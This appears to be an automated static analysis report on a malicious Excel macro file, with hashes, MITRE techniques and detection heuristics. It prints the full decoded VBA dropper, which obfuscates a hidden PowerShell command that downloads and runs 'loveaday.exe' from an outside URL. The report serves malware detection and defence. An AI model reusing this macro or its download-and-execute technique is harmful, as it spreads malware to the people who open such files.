Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f5969e01db0fabc…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2021-10-23
MD5: 58c22058f453153d07565f10cfb398cb SHA-1: 7598fce4ec77f97fdc6e062e0420a68151a33693 SHA-256: 9f5969e01db0fabc4ddcc5b07b44400e35583d77d1c79bf4fae3c40b4049cecb
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The VBA macro contains obfuscated PowerShell code that is reassembled from string literals. This PowerShell command is designed to download a second-stage executable from 'http://samligte.com/loveaday.exe' and then execute it. The use of Shell() and the reassembled 'PowerShell' keyword indicate a malicious intent to download and run a payload.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2794 bytes
SHA-256: 613d88abf0fbe102999ac0132c2808d0e2434386ebff0d299c80b5eab9e1d572
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub

Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = s + "start /MIN C:\Windo"
s = s + "ws\System32\" + "Wind" + "owsPo" + "werShe" + "ll\v1.0\pow" + "ersh" + "ell.exe"
s = s + " -win " + "1 -enc"
s = s + " "

s = s + "JABQAHIAbwBjAE4AYQ"
s = s + "BtAGUAIAA9ACAAIgBZ"
s = s + "AGsAZgBwAHIAbABrAH"
s = s + "gAcQBrAHkAegBjAHEA"
s = s + "aABrAGEAaQBrAGEAeQ"
s = s + "AuAGUAeABlACIAOwAo"
s = s + "AE4AZQB3AC0ATwBiAG"
s = s + "oAZQBjAHQAIABTAHkA"
s = s + "cwB0AGUAbQAuAE4AZQ"
s = s + "B0AC4AVwBlAGIAQwBs"
s = s + "AGkAZQBuAHQAKQAuAE"
s = s + "QAbwB3AG4AbABvAGEA"
s = s + "ZABGAGkAbABlACgAIg"
s = s + "BoAHQAdABwADoALwAv"
s = s + "AHMAYQBtAGwAaQBnAG"
s = s + "gAdABlAHIALgBjAG8A"
s = s + "bQAvAGwAbwB2AGUAZA"
s = s + "BhAHkALgBlAHgAZQAi"
s = s + "ACwAIgAkAGUAbgB2AD"
s = s + "oAQQBQAFAARABBAFQA"
s = s + "QQBcACQAUAByAG8AYw"
s = s + "BOAGEAbQBlACIAKQA7"
s = s + "AFMAdABhAHIAdAAtAF"
s = s + "AAcgBvAGMAZQBzAHMA"
s = s + "IAAoACIAJABlAG4Adg"
s = s + "A6AEEAUABQAEQAQQBU"
s = s + "AEEAXAAkAFAAcgBvAG"
s = s + "MATgBhAG0AZQAiACkA"


ActiveWorkbook.Save
batch = "Uextekbjywnaslh.bat"
Open batch For Output As #1
    Print #1, s 
    Close #1
    i = Shell(batch, 0)

End Sub

Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub



Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Learn more"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True